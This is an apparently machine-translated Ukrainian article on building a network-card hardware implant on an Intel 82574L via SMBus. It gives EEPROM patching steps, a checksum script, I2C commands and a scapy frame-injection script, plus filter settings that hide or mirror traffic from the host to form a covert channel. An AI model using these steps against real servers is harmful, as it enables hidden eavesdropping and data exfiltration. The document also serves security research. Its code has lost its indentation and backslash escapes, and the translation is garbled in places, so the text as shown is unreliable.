Робимо власний імплант для електроніки

Історія від Bloomberg про те, що на материнських платах нібито були встановлені якісь імпланти [Китайці використовували мікрочіп, щоб контролювати американські комп’ютери], не пройшла непоміченою. Після неї багато люди ділилися ідеями з приводу можливості створення подібних імплантів (їх передбачуваного розміру, можливостей або способу їх виявлення).

Через кілька днів журнал Bloomberg випустив статтю з додатковими доказами. Ось що конкретно підігріло наш інтерес:
Легальний сервер відправляв повідомлення одним способом, імплант – іншим, але здавалося, що весь трафік походить від одного довіреної сервера.

Існують способи взаємодії з мережевою картою прямо з материнської плати. Кілька людей вказали на те, що можна погратися з BMC (Baseboard Management Controller – компонент, що дозволяє доступ до сервера крім основного каналу), що дозволить імпланти контролювати BMC і отримувати доступ до мережевої карти. Але як це працює на практиці? Давайте подивимося, чи зможемо ми це відтворити.

Початкова позиція

Подивимося на наявність можливих інтерфейсів між NIC (мережевою платою) і BMC. Один з основних протоколів для роботи по виділеному каналу – це інтелектуальний інтерфейс управління платформою IPMI.

IPMI

Вікіпедія каже, що IPMI — «інтелектуальний інтерфейс управління платформою, призначений для автономного моніторингу і управління функціями, вбудовані безпосередньо в апаратне і мікропрограмне забезпечення серверних платформ. Ключові характеристики IPMI — моніторинг, відновлення функцій управління, облік і інвентаризація, які доступні незалежно від процесора, bios’a і операційної системи. Функції управління платформою можуть бути доступні, навіть якщо система знаходиться у вимкненому стані». Дуже схоже на те, що нам потрібно.

На наступній блок-схемі показано можливий шлях реалізації проекту:

IPMI насправді визначає два Sideband-каналу для NIC: SMBus і NC-SI. NC-SI – це сучасна заміна SMBus, підтримуюча збільшену швидкість передачі даних і інші нові можливості. Проблема в тому, що їй потрібно більше сигналів (близько 10), і в її роботу набагато складніше втрутитися у випадку, коли ми працюємо з імплантом. Так що поки зупинимося на SMBus.

SMBus

SMBus (System Management Bus) — послідовний протокол обміну даними для пристроїв живлення. Одностороння проста двопровідна шина, що забезпечує нескладні комунікації. Найчастіше використовується в комп’ютерах для зв’язку материнської плати з джерелом живлення та надсилання інструкцій виду вкл/викл. Заснований на шині I2C, зазвичай використовується в мікроконтролерах. Інтерфейсу потрібно всього два сигнали (таймер і дані), і третій – для асинхронних повідомлень. Ідеально підходить для ігор з імплантом протокол.

Перший контакт

Доводиться проявляти кмітливість, не маючи доступу до материнської плати з BMC. Вивчаючи технічні характеристики серверних материнок, ми виявили, що деякі з них використовують чіп Intel 82574L. Він, згідно документації, забезпечує «SMBus advanced pass-through interface» – як раз те, що потрібно. А що найкраще, він буває у форматі карт PCI-E.

Доступ до SMBus

Ми сходили в магазин, і тепер у нас є картки Intel EXPI9301CTBLK з чіпом 82574L. Що тепер?

В документації можна відстежити SMB_DAT і SMB_ALRT_N. На щастя, всі вони виявилися доступними в заголовках. Начебто все досить легко.


NIC PCB. Зліва вгорі – EEPROM, праворуч вгорі — коннектор для SMBus [ALRT|CLK|DAT]. Зверніть увагу, що R39 і R40 отпаяны, що забороняє доступ до SMBus для коннектора PCIe.

Ми підключили зонд I2C і просканували SMBus, але нічого корисного не вважали. Документація каже, що SMBus включається тільки при встановленні певного бітового регістра. Це значення завантажується з EEPROM. Настав час копнути глибше.

Читайте також  Повнолітня журналістика: від Росії до Кремля

Включаємо доступ до SMBus

Нам знову допомагає документація. Доступ до SMBus визначається значенням регістра, що завантажується з NIC EEPROM. На щастя, EEPROM можна прочитати за допомогою flashrom. Скинувши вміст EEPROM, ми можемо проаналізувати й змінити значення:

> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash... done.

Судячи з NVM map (глава 6.1 документації), видно, що нам треба змінити два значення:

  • Init Control Word 2[MNGM] (Datasheet chapter 6.1.1.6)
  • Compatibility[ASF SMBus Connected] (Datasheet chapter 6.1.2.1.1)
  • Compatibility[SMBus Connected] (Datasheet chapter 6.1.2.1.1)

Потрібно тільки врахувати, що в EEPROM дані зберігаються у форматі little endian.

Після цього нам треба ще розібратися зі значенням Checksum. У главі 6.1.2.11 зазначено, що сума всіх слів в діапазоні [0x00-0x40] повинна дорівнювати 0xBABA. Трохи Python допоможе нам підрахувати правильну контрольну суму:

import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff

print("Checksum word must be :" + hex(0xbaba-tot))
#Checksum word must be : 0x9efb

І ось, нарешті, всі наші зміни для EEPROM:

< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i k............Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i k............Z.

< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....

Після внесення змін і прошивки EEPROM ми під’єднали I2C зонд і:

i2c1> scan
Device found at address 0x49
i2c1>

Адреса I2C кодується в семи бітах, необхідний нам адресу виходить, як 0x49 << 1 = 0x92.

Тепер у нас є робоча схема для нашого імпланта. Ми можемо відправляти команди в NIC:

Отримання інформації

Як ви могли здогадатися, ми продовжили читати документацію і відправляти спеціально підготовлені команди на NIC для перевірки того, що все працює, як очікувалося.

В документації описано все, що потрібно знати про формат транзакцій, в розділі 8.4.4. Різниця тільки в тому, що нам не треба підраховувати PEC (контрольна сума для SMBus, яка підраховується для кожного пакета). Наприклад, ми можемо відправити команду CMD за адресою SLAVE, використовуючи наступну послідовність:

[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]

[START] і [STOP] – це умови START і STOP, обумовлені протоколом I2C.

Наприклад, команда на читання MAC-адреси (описана в главі 8.8.2.3) буде 0xD4. Відправляємо команду в SMBus в режимі I2C:

[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]

При перекладі в команди Hydrabus це буде:

i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP

І, так, ми отримуємо наш MAC-адресу!

Робимо імплант

Тепер, знаючи, як можна спілкуватися з NIC, подивимося, як можна використовувати цей канал для крадіжки мережевого трафіку і відправки даних по мережі. У главі 8 документації описано все, що потрібно для цього.

Відправка пакетів

Описана в главах 8.6 і 8.8.1. Ми можемо просто створити кадр Ethernet за допомогою команд. Ось приклад скрипта для Hydrabus або Bus Pirate для відправки пакета:

import serial
import struct
from scapy.all import *

ser = serial.Serial('/dev/ttyACM0',115200)

def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))

# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)

# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write('x08'+fulllen+'x00x00')
ser.write("x92xc4"+pktlen+pkt)

# If packet has been sent successfully
if ser.read(1) == 'x01':
print "Send OK"
else:
print "Error sending"
ser.write('x00')
ser.write('x00')
ser.write('x0Fn')
quit()

# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()

# Switch to I2C mode
ser.write('x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()

#Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP()

#Send the frame
send_frame(str(p))

# Return to main binary mode
ser.write('x00')
#reset to console mode
ser.write('x0Fn')

Після виконання скрипту можна побачити пакет, що йде від машини з імплантом, і, що найцікавіше, сам сервер взагалі не бачить цього пакета:


Tcpdump з машини атакуючого зліва, сервера – справа

Читання пакетів

 

Фільтрація

Щоб дізнатися, які кадри повинні піти в SMBus, NIC використовує керуючі фільтри. Вони зіставляють трафік з мережі, і перенаправляє його на PCIe, або на SMBus, або одночасно і туди і туди. З нашої точки зору це дає нам велику гнучкість:

  • Можна відстежувати трафік, поставивши фільтр, який буде перевіряти, і перенаправляти на PCIe і SMBus.
  • Можна змусити трафік зникнути, направивши його тільки на SMBus.
  • Можна створити прихований канал, який не буде видно сервера з імплантом.

Що найцікавіше, фільтр можна налаштувати на відстеження різних елементів фрейму:

  • UDP/TCP port
  • VLAN
  • IPv4 – IPv6
  • MAC address

(Повний список представлений у главі 8.4.2.1)

Доступно сім незалежних фільтрів MDEF[0:6], і кожний з них можна налаштувати перенаправлення відповідного трафіку на PCIe поверх SMBus за допомогою регістра MANC2H (подробиці в розділі 8.4.3).

Реалізація

Налаштувати все правильно виявилося досить складно, ми пробували безліч різних комбінацій, щоб змусити фільтр працювати. На щастя, примітка до додатка від Intel дало нам більше деталей з приводу запуску фільтрів потрібне нам способом.

Використовуючи наш I2P-зонд, ми можемо налаштувати все це чотирма командами:

// Глобальний заборону фільтрів
[ 0x92 0xca 0x01 0x40 ]
// Налаштувати MDEF[0] на отримання фреймів, що йдуть до UDP/664 і UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// Налаштувати MANC2H на заборону перенаправлення до ОС
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включити фільтрацію (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

Як описано в главі 8.8.1.3, необхідно встановити декілька бітів для того, щоб дозволити отримання даних для відправки фреймів назад на наш імплант. Ми вибрали SMBus alert, оскільки інші моделі дозволяють мережевий карті здійснювати асинхронні запити до SMBus (деталі у розділі 8.4.5).

Читання фреймів

Оскільки ми використовували метод SMBus alert, нам потрібно було очікувати відключення сигналу SMB_ALRT_N перед відправленням команди Receive TCO Packet. Якщо б ми чекали дуже довго, пакет був би відкинутий NIC.

Щоб проілюструвати схему, ми будемо відправляти фрейми періодично і відправляти команди на читання – просто, щоб підтвердити, що цей принцип працює. Схема виглядає так:

  • У сервера з імплантом встановлені фільтри, які відстежують трафік з UDP / 623 (голова 3.6.1.2).
  • Імплант симулюється за допомогою Hydrabus.
  • Інший сервер відправляє пакети, які потрапляють під фільтр, за допомогою скрипта Scapy:

from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)

Виходить щось цікаве:

Зліва SMBus читає кадр, дані кадру показано внизу. Праворуч tcpdump, що працює на сервері з імплантом, не показує входять фреймів.

Ретрансляція кадрів

Змінюючи регістр MANC2H, можливо зробити так, щоб трафік, який відправляється на SMBus і PCIe, коректно відображався на сервері. До прикладу, давайте створимо перехоплює фільтр, що реагує на UDP/161 (SNMP) і відправляє його на SMBus і PCIe:

// Глобальний заборону фільтрів
[ 0x92 0xca 0x01 0x40 ]
// Створити флекс-фільтр 0 на порту 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// Налаштувати MDEF[0] на отримання трафіку, що збігається з флекс-фільтром 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// Налаштувати MANC2H на дозвіл перенаправлення трафіку MDEF[0] PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включити фільтрацію (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

Включивши фільтри, ми можемо відправити SNMP-запит на сервер з імплантом і побачити пакет, який перехопив імплант. При цьому сервер відповідає на запит – а значить, пакет був правильно перенаправлений на SMBus і PCIe:


Вгорі – перехоплена SNMP-запит з імпланта. Внизу — SNMP-запит дійшов до сервера.

Ув’язнення

Ми описали можливий метод впровадження невеликого і недорогого мікроконтролера як імпланта на рівні NIC. Такого імпланти потрібні, щонайменше, чотири контакту (Vcc, GND, CLK, DAT), і він може керувати картою сервера. Серед його можливостей:

  • Прослуховування вхідного мережевого трафіку на сервер.
  • Отримання команд з мережі без відома сервера.
  • Передача даних по мережі без відома сервера.

У нашому прикладі для простоти в якості інтерфейсу I2C/SMBus використовувався Hydrabus, але це можна буде зробити так само легко і на невеликому мікроконтролері, наприклад, ATtiny85 (розміром приблизно з EEPROM для NIC).

Однак у реальному житті доступ у такого імпланта був би тільки до SMBus. В залежності від схеми материнської плати цей пристрій може бути єдиним з доступних, і тоді взаємодія з ОС сервера буде неможливо. У разі, коли потрібен повний контроль над ОС, краще всього буде змінити код BMC, оскільки у нього і так вже є доступ до всіх цікавим шин, і він не залишає видимих слідів на материнці.

Ще один недолік такого імпланта полягає в тому, що він може передавати дані на швидкості близько 100 Кб/с, чого недостатньо для повного вивчення трафіку. Крім того, імплант здатний перехоплювати тільки трафік, що приходить з мережі. В результаті дане рішення видається неефективним в порівнянні з тими зусиллями, які потрібні для його впровадження в обладнання мети.

Степан Лютий

Обожнюю технології в сучасному світі. Хоча частенько і замислююся над тим, як далеко вони нас заведуть. Не те, щоб я прям і знаюся на ядрах, пікселях, коллайдерах і інших парсеках. Просто приходжу в захват від того, що може в творчому пориві вигадати людський розум.

You may also like...

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *